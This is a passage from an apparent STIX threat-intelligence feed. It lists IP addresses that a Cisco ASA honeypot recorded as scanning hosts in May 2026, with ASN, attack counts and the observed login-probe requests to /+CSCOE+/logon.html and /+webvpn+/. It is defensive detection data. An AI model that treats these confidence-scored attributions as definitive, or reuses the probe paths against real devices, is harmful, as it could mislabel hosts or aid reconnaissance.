          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T01:25:19.433Z",
          "last_seen": "2026-05-27T10:46:51.068Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--bb4cf7fe-6c98-42cc-aa74-50848ce5153f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.235.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T02:07:00.306Z",
          "last_seen": "2026-05-26T02:07:12.224Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--c88a08a2-6fad-4870-9559-ca7413b80787",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.160.216.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T02:01:07.279Z",
          "last_seen": "2026-05-27T07:52:38.354Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ff0a3ae8-1223-4fe4-b4d3-87110a311d66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '31.222.245.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T01:32:21.460Z",
          "last_seen": "2026-05-30T10:27:26.663Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d8a56a5e-cebc-4c8e-8f94-ca0ecb70d8dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.149.80.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 35,
          "first_seen": "2026-05-26T01:22:57.977Z",
          "last_seen": "2026-05-30T00:16:01.140Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ccde2c4d-832a-4e59-b602-eacd4b6238e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.39.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T01:28:52.258Z",
          "last_seen": "2026-05-26T02:44:04.766Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--c12bcc47-7477-44bd-990c-3f1e8a4405bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.45.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T01:58:39.743Z",
          "last_seen": "2026-05-27T07:03:08.443Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--540ffb73-9a7b-4394-b539-dce16c3acfd6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '88.218.80.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T01:58:24.380Z",
          "last_seen": "2026-05-26T17:17:47.068Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1044d0bf-7d52-4ffe-af01-135693cf99e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.247.78.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T01:58:27.749Z",
          "last_seen": "2026-05-31T03:38:32.955Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--44484ca1-a032-452e-a4be-c5c9c2202a39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.241.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:20:10.000Z",
      "valid_until": "2026-06-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T02:34:37.276Z",
          "last_seen": "2026-05-30T13:33:15.953Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e4264e6a-1b86-4a2b-aa6e-567a4acc9b14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.100.130.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:20:10.000Z",
      "valid_until": "2026-06-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T02:23:50.034Z",
          "last_seen": "2026-05-27T20:18:40.585Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d95cc764-2c58-4b08-951d-0b6e994485c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.239.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:20:10.000Z",
      "valid_until": "2026-06-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T02:53:28.167Z",
          "last_seen": "2026-05-27T01:50:59.382Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--038b3934-9c11-46f0-8918-93f47cc10d98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.104.143.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:20:10.000Z",
      "valid_until": "2026-06-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T02:24:42.906Z",
          "last_seen": "2026-05-29T21:15:46.057Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--714178f4-4bd8-421f-b98e-f3c7b4a521da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '213.139.192.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:20:10.000Z",
      "valid_until": "2026-06-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T02:47:43.622Z",
          "last_seen": "2026-05-28T01:16:11.850Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--b0d2314f-8115-4031-b164-1cb3c5c461c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:20:10.000Z",
      "valid_until": "2026-06-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-26T02:53:32.324Z",
          "last_seen": "2026-05-26T02:53:39.287Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--75b6431a-eabf-4eac-adab-c89bd458fe69",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:20:10.000Z",
      "valid_until": "2026-06-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-26T03:10:34.454Z",
          "last_seen": "2026-05-26T03:10:43.219Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--a67034fd-0a80-415f-9464-89708d325fc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.158.44.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:20:10.000Z",
      "valid_until": "2026-06-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T03:15:37.049Z",
          "last_seen": "2026-05-29T04:33:27.889Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T04:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3571e73b-c949-4503-b6ec-3f0cd55bc6a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.246.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:20:14.000Z",
      "valid_until": "2026-06-27T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T04:00:08.407Z",
          "last_seen": "2026-05-27T13:11:37.103Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T04:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--ed1afebf-5843-4185-8f20-772ff8690f9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.41.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:20:14.000Z",
      "valid_until": "2026-06-27T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T03:34:24.935Z",
          "last_seen": "2026-05-27T12:18:33.365Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T04:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--83204aa2-2324-458a-b2c4-1641dcadb202",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.168.250.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:20:14.000Z",
      "valid_until": "2026-06-27T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T03:47:15.375Z",
          "last_seen": "2026-05-30T00:34:37.289Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
